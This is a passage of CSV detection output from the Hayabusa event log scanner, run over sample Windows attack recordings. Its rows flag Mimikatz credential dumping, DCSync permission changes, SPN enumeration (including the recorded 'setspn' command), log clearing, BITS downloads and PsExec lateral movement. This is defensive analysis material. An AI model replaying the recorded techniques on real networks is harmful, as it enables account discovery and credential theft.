+09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\CL.exe"" @C:\Users\bouss\AppData\Local\Temp\tmp19546d957b6e4d15b83f93a323d5f087.rsp : Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\Hostx86\x86\cl.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\Tracker.exe"" @""C:\Users\bouss\AppData\Local\Temp\tmp5938b880d43743db91973c95f519f06b.tmp"" /c ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\CL.exe"" @""C:\Users\bouss\AppData\Local\Temp\tmp19546d957b6e4d15b83f93a323d5f087.rsp""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.667 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\VCTIP.EXE"" : Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\Hostx86\x86\vctip.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\CL.exe"" @C:\Users\bouss\AppData\Local\Temp\tmp19546d957b6e4d15b83f93a323d5f087.rsp",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-02-01 20:13:11.195 +09:00,fs02.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1015,technique_name=Accessibility Features : Command: setspn -T offsec -Q */* : Path: C:\Windows\System32\setspn.exe : User: OFFSEC\admmig : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID1-SPN discovery (SYSMON process).evtx +2021-02-01 20:13:11.195 +09:00,fs02.offsec.lan,1,medium,Possible SPN Enumeration,,rules/sigma/process_creation/win_spn_enum.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID1-SPN discovery (SYSMON process).evtx +2021-02-03 00:37:59.991 +09:00,fs02.offsec.lan,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.006-Timestomp/ID4616-Time changed.evtx +2021-02-03 00:37:59.993 +09:00,fs02.offsec.lan,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.006-Timestomp/ID4616-Time changed.evtx +2021-02-03 00:38:31.989 +09:00,fs02.offsec.lan,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.006-Timestomp/ID4616-Time changed.evtx +2021-02-03 00:38:31.995 +09:00,fs02.offsec.lan,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.006-Timestomp/ID4616-Time changed.evtx +2021-02-08 21:03:02.776 +09:00,rootdc1.offsec.lan,4738,high,Weak Encryption Enabled and Kerberoast,,rules/sigma/builtin/security/win_alert_enable_weak_encryption.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738-User set with reversible psw encryption.evtx +2021-02-08 21:06:15.608 +09:00,rootdc1.offsec.lan,4738,high,Weak Encryption Enabled and Kerberoast,,rules/sigma/builtin/security/win_alert_enable_weak_encryption.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738-Use only Kerberos DES encryption types.evtx +2021-02-08 21:06:53.407 +09:00,rootdc1.offsec.lan,4738,high,Weak Encryption Enabled and Kerberoast,,rules/sigma/builtin/security/win_alert_enable_weak_encryption.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738-Do not require Kerberos preauthentication.evtx +2021-02-23 07:18:08.605 +09:00,rootdc1.offsec.lan,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5136-Permission change on top root AD (DCsync).evtx +2021-02-23 07:18:08.605 +09:00,rootdc1.offsec.lan,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5136-Permission change on top root AD (DCsync).evtx +2021-02-23 07:35:11.993 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID5136-4662 AD object owner changed.evtx +2021-02-23 07:35:20.786 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID5136-4662 AD object owner changed.evtx +2021-02-23 08:07:21.231 +09:00,jump01.offsec.lan,59,informational,Bits Job Creation,Job Title: hackingarticles : URL: https://www.ma-neobanque.com/wp-content/uploads/2020/11/carte-max-premium.jpg,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1197-BITS jobs/ID3-59-60-BITS job created.evtx +2021-03-16 03:49:21.017 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:49:23.184 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: ab170ec9.png : URL: https://i.imgur.com/IFpvPlt.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:52:31.347 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1eBRSG.img?w=100&h=100&m=6&tilesize=medium&x=1788&y=885&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:52:33.804 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161390740451_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:53:18.009 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161390740451_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:53:51.796 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1eC0p1.img?w=100&h=100&m=6&tilesize=medium&x=1964&y=1240&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:53:52.751 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161390740451_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:54:15.647 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: efc1a28b.png : URL: https://i.imgur.com/IFpvPlt.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:55:38.049 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{259DDBBE-DDD3-4590-8A2C-60211631093C}-GoogleUpdateSetup.exe : URL: http://r5---sn-5hnedn7l.gvt1.com/edgedl/release2/update2/ALmnr7lDhOvozdF08iOk7Ks_1.3.36.72/GoogleUpdateSetup.exe?cms_redirect=yes&mh=pH&mip=213.127.64.248&mm=28&mn=sn-5hnedn7l&ms=nvh&mt=1615834104&mv=m&mvi=5&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 04:01:32.985 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{F1502BD5-ADFF-4123-9C07-0E4B02FCB037}-89.0.4389.82_87.0.4280.66_chrome_updater.exe : URL: http://r1---sn-5hne6nlr.gvt1.com/edgedl/release2/chrome/AKGnpidu3x0C0gtuxw-XHRQ_89.0.4389.82/89.0.4389.82_87.0.4280.66_chrome_updater.exe?cms_redirect=yes&mh=rx&mip=213.127.64.248&mm=28&mn=sn-5hne6nlr&ms=nvh&mt=1615834584&mv=m&mvi=1&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-27 01:12:22.200 +09:00,jump01.offsec.lan,7045,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-New service for Mimikatz +npcap.evtx +2021-03-27 01:12:22.200 +09:00,jump01.offsec.lan,7045,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-New service for Mimikatz +npcap.evtx +2021-03-27 01:12:22.201 +09:00,jump01.offsec.lan,13,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID13-New service for Mimikatz.evtx +2021-03-27 01:12:22.201 +09:00,jump01.offsec.lan,13,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID13-New service for Mimikatz.evtx +2021-03-27 01:17:29.210 +09:00,jump01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-New service for Mimikatz.evtx +2021-03-27 01:17:35.489 +09:00,jump01.offsec.lan,7045,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-New service for Mimikatz +npcap.evtx +2021-03-27 01:17:35.489 +09:00,jump01.offsec.lan,7045,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-New service for Mimikatz +npcap.evtx +2021-03-27 01:17:35.490 +09:00,jump01.offsec.lan,4697,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-New service for Mimikatz.evtx +2021-03-27 01:17:35.490 +09:00,jump01.offsec.lan,4697,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-New service for Mimikatz.evtx +2021-03-27 01:17:35.490 +09:00,jump01.offsec.lan,4697,high,Credential Dumping Tools Service Execution,,rules/sigma/builtin/security/win_security_mal_creddumper.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-New service for Mimikatz.evtx +2021-03-27 01:36:00.106 +09:00,jump01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4658,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4658,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4656,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4656,critical,LSASS Access from Non System Account,,rules/sigma/builtin/security/win_lsass_access_non_system_account.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4656,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4656,high,Generic Password Dumper Activity on LSASS,,rules/sigma/builtin/security/win_susp_lsass_dump_generic.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4663,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:36:00.829 +09:00,jump01.offsec.lan,4663,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656-4663-4658 Mimikatz sekurlsa password dump.evtx +2021-03-27 01:59:24.880 +09:00,rootdc1.offsec.lan,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4661-4658 Mimikatz sekurlsa password dump SAM.evtx +2021-03-27 01:59:24.892 +09:00,rootdc1.offsec.lan,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4661-4658 Mimikatz sekurlsa password dump SAM.evtx +2021-04-21 05:32:55.368 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -Version 5.1 -s -NoLogo -NoProfile : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:32:55.368 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:00.305 +09:00,MSEDGEWIN10,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:00.384 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\user03 : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -Version 5.1 -s -NoLogo -NoProfile",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:01.944 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:13.741 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:13.741 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:13.741 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:14.273 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:14.273 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 05:33:14.273 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/ImpersonateUser-via local Pass The Hash Sysmon and Security.evtx +2021-04-21 18:27:51.181 +09:00,jump01.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-7036 PSexec service installation.evtx +2021-04-21 18:40:32.342 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56661 : LogonID: 0x1375fbd,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.343 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.343 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: PSEXESVC.exe : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.343 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: PSEXESVC.exe : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.347 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56662 : LogonID: 0x1375fd8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.348 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56663 : LogonID: 0x1375ff5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.348 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56664 : LogonID: 0x1376003,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.360 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.42.22 : Port: 56666 : LogonID: 0x1376020,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.362 +09:00,srvdefender01.offsec.lan,4674,critical,SCM Database Privileged Operation,,rules/sigma/builtin/security/win_scm_database_privileged_operation.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.501 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.501 +09:00,srvdefender01.offsec.lan,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.510 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: cmd.exe : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.510 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: cmd.exe : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.528 +09:00,srvdefender01.offsec.lan,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.528 +09:00,srvdefender01.offsec.lan,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 18:40:32.529 +09:00,srvdefender01.offsec.lan,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688,4697,5140-5145 PSexec remote execution + admin share.evtx" +2021-04-21 22:30:00.589 